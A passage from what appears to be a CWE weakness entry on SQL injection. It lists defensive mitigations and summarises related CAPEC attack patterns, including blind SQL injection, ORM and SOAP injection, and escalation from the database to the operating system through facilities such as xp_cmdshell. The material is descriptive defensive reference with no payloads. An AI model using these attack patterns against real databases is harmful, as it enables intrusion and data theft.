- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
- When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-109: Object Relational Mapping Injection
An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
CAPEC-110: SQL Injection through SOAP Parameter Tampering
An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
CAPEC-470: Expanding Control over the Operating System from the Database
An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
CAPEC-66: SQL Injection
This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.
CAPEC-7: Blind SQL Injection
Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.